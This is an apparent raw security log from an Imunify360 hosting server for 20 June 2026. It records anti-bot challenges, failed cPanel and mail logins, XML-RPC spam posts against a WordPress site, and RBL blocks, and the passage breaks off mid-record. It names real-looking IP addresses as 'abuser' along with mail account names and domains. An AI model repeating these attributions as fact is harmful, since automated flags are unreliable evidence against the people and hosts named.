103.108.92.89 - - [20/Jun/2026:20:55:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13329044&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988939 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.25.219
country_id: 3469034
description:
Jun 20 20:56:20 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.25.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.25.219
country_id: 3469034
description:
Jun 20 20:56:32 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.25.219 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.180.113
country_id: 1562822
domain: www.myworkafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myworkafrica.com/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.21.199
country_id: 2921044
description:
[2026-06-20 20:57:04 +0000] info [whostmgrd] 195.63.21.199 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 65.111.23.194
country_id: 2635167
domain: sia-togo.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me?context=edit||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 195.63.31.165
country_id: 2921044
domain: sia-togo.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me?context=edit||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:59:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6514845&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781989138 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:20:59:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921640&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781989138 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:20:58:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013079&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781989135 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.162.252.45
country_id: 1643084
description:
103.162.252.45 - - [20/Jun/2026:21:01:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6931553&pdata=https%253A%252F%252Fmo2.mairie.tg%252Fpresentation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781989268 HTTP/2.0" 302 0 mo2.mairie.tg "https://mo2.mairie.tg/presentation/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.162.252.45


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:09:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:09:57 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.7.134.177
country_id: 2750405
domain: civilemagazine.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 151.243.174.158
country_id: 798544
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-11.151.243.174.158||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:11:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804230&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781989863 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:21:11:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015451&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781989862 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.172.195.191
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-les-accomplissements-de-la-fdr-apres-un-delai-dexecution-consomme-a-75/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:21:13:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067348&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990006 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:13:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727336&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990009 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:21:13:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658709&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990009 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.5.93.178
country_id: 3996063
description:
45.5.93.178 - - [20/Jun/2026:21:17:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12871787&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftechniques-pour-fideliser-ses-clients%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990229 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/techniques-pour-fideliser-ses-clients/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.4212.1577 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.5.93.178


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.126.64
country_id: 6252001
description:
[2026-06-20 21:18:37 +0000] info [cpaneld] 82.40.126.64 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-20 21:24:23 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:62826: 535 Incorrect authentication data (set_id=sqlquery)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 20 21:24:21 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:25:23 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:25:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.113
country_id: 2750405
description:
Jun 20 21:27:25 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.42.116.113
country_id: 2750405
description:
2026-06-20 21:27:27 dovecot_plain authenticator failed for H=(o4c456czsyq38tcgkoj24oci9s6e) [192.42.116.113]:59428: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:21:26:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130841&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990812 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:26:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594984&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990811 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:21:27:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934999&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990872 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.28.93
country_id: 2750405
domain: www.mesyscom.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mesyscom.com/robots.txt HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:21:27:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184306&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990855 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:27:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935508&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781990858 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cb22c72ccb9b43708aa8c7819bc0291f8687a637||Title:0wdromhww6217o||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:65e7f21a6831ac308d1132ff9a7d24678852d4ca||Title:wsljs4elilnmog0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d118708d37e7a2c9bf6f26ab9963b8ddbce6b9c2||Title:ekbn2agau4ah4j0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a91f4e05a46ed57e07e4e41b2fe08c05677e2409||Title:p32mvrsv2brzyov4fo||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:024e94f2468c008367821fac61ae707bb2df2f59||Title:c82x3dedhmbom1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.190.169.197
country_id: 2017370
description:
2026-06-20 21:35:03 dovecot_plain authenticator failed for H=c4350.col.wm.ru (ddjx4zhdy8601y6upsd1) [194.190.169.197]:56295: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c66db2d36734428947999aba4fb887819b38775f||Title:nerxe34nsn0noi||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 137.255.124.239
country_id: 2395170
domain: www.ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sunu-group.com||User:egjvuiox||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f765cb15711069dedec8b4aa58a572cd26d0277b||Title:n63ybcxx06i5ht||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8ffb7d8dcfd6d0314460b58b67bc7494cbb1568f||Title:avy0p9k4kac85y5pgv||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:28820aeb10526257a6395918de44268cc4e915c0||Title:azdfpsgbvgoblid0ua||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.169.51.168
country_id: 3996063
description:
187.169.51.168 - - [20/Jun/2026:21:39:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184296&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdiplomatie-recep-tayyip-erdogan-felicite-faure-gnassingbe-pour-la-dynamique-actuelle-de-reformes-et-demergence-de-leconomie-nationale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781991543 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/diplomatie-recep-tayyip-erdogan-felicite-faure-gnassingbe-pour-la-dynamique-actuelle-de-reformes-et-demergence-de-leconomie-nationale/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2206.1409 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.169.51.168


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:31bc7a41152c3b3e2ddbf6a4f773cc69ddeabccb||Title:sqgxefjoqs2nxpq13a||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:39:37 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:39:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c21b28797131d0dfce2f1f081a9ed8f132a197e5||Title:wt8s2japl2pmcq||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c9e4964b6b4190f5ee32476b0259345894813063||Title:lah3589hsq8d20yof||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:21:43:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328677&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781991791 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.155.180
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aa7a02bd7bdbf27644ff7dcbf44730bb8d050ece||Title:xphjpthy0vsa3psm62||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:21:43:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200539&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781991779 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:21:43:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7037076&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781991779 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
